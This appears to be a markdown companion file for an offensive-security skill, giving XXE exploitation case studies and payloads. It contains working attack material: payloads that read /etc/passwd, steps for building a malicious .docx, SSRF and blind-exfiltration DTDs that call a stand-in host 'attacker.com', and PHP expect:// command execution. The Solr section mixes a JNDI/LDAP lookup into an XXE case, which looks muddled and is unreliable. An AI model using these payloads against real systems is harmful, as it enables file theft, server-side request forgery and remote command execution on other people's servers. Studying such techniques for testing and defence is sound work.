+ # XXE — Extended Scenarios & Real-World Cases
2
+
3
+ > Companion to [SKILL.md](./SKILL.md). Contains additional CVE case studies and exploitation techniques.
4
+
5
+ ---
6
+
7
+ ## 1. CVE Case: Apache Solr XXE + RCE (CVE-2017-12629)
8
+
9
+ Apache Solr's Config API accepts XML with external entity processing enabled, and the Velocity Response Writer allows template injection:
10
+
11
+ **XXE for file read**:
12
+ ```
13
+ GET /solr/CORE/select?q=xxx&wt=xml&defType=edismax&echoParams=all&fl=id,name&sort=${jndi:ldap://attacker/x}
14
+ ```
15
+
16
+ **Combined XXE + RCE chain**:
17
+ 1. Use XXE to read Solr configuration and identify available cores
18
+ 2. Use Config API to register a new VelocityResponseWriter with `solr.resource.loader.enabled=true`
19
+ 3. Execute Velocity template with `Runtime.exec()`
20
+
21
+ ---
22
+
23
+ ## 2. Office Document XXE — Step-by-Step
24
+
25
+ OOXML files (`.docx`, `.xlsx`, `.pptx`) are ZIP archives containing XML:
26
+
27
+ ```bash
28
+ # Step 1: Create a legitimate .docx
29
+ # Step 2: Extract
30
+ mkdir extracted && cd extracted
31
+ unzip ../document.docx
32
+
33
+ # Step 3: Inject XXE into word/document.xml
34
+ # Add after <?xml version="1.0"...?>:
35
+ # <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
36
+ # Then replace a text element with &xxe;
37
+
38
+ # Step 4: Also try [Content_Types].xml:
39
+ # <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/notify">]>
40
+
41
+ # Step 5: Repackage
42
+ zip -r ../malicious.docx .
43
+
44
+ # Step 6: Upload to target application
45
+ # If the app parses the XML → XXE triggers
46
+ ```
47
+
48
+ **Common targets**: document preview, import functionality, file conversion services.
49
+
50
+ ---
51
+
52
+ ## 3. DOCTYPE-Based SSRF
53
+
54
+ Even when the application doesn't reflect entity values, `DOCTYPE` with `PUBLIC` or `SYSTEM` triggers an HTTP request:
55
+
56
+ ```xml
57
+ <!DOCTYPE foo PUBLIC "-//attacker//DTD//EN" "http://attacker.com/notify">
58
+ <root>normal content</root>
59
+ ```
60
+
61
+ The XML parser fetches the DTD from `attacker.com` — confirms SSRF even without entity reflection.
62
+
63
+ ---
64
+
65
+ ## 4. PHP expect:// Protocol via XXE
66
+
67
+ When PHP's `expect` extension is installed:
68
+
69
+ ```xml
70
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
71
+ <root>&xxe;</root>
72
+ ```
73
+
74
+ The `expect://` wrapper executes the command and returns output. Rare but devastating when available.
75
+
76
+ **Check availability**: `phpinfo()` → look for "expect" in loaded extensions.
77
+
78
+ ---
79
+
80
+ ## 5. XXE in SOAP Web Services
81
+
82
+ SOAP endpoints parse XML by design — always test for XXE:
83
+
84
+ ```xml
85
+ <?xml version="1.0"?>
86
+ <!DOCTYPE foo [
87
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
88
+ ]>
89
+ <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
90
+ <soap:Body>
91
+ <getUser><id>&xxe;</id></getUser>
92
+ </soap:Body>
93
+ </soap:Envelope>
94
+ ```
95
+
96
+ Also test the `SOAPAction` header and WSDL import endpoints.
97
+
98
+ ---
99
+
100
+ ## 6. Blind XXE via Error Messages
101
+
102
+ When OOB HTTP exfiltration is blocked, use error-based exfiltration:
103
+
104
+ ```xml
105
+ <!-- Hosted at attacker.com/error.dtd: -->
106
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
107
+ <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
108
+ %eval;
109
+ %error;
110
+ ```
111
+
112
+ The parser tries to open `file:///nonexistent/root:x:0:0:...` → error message contains file contents.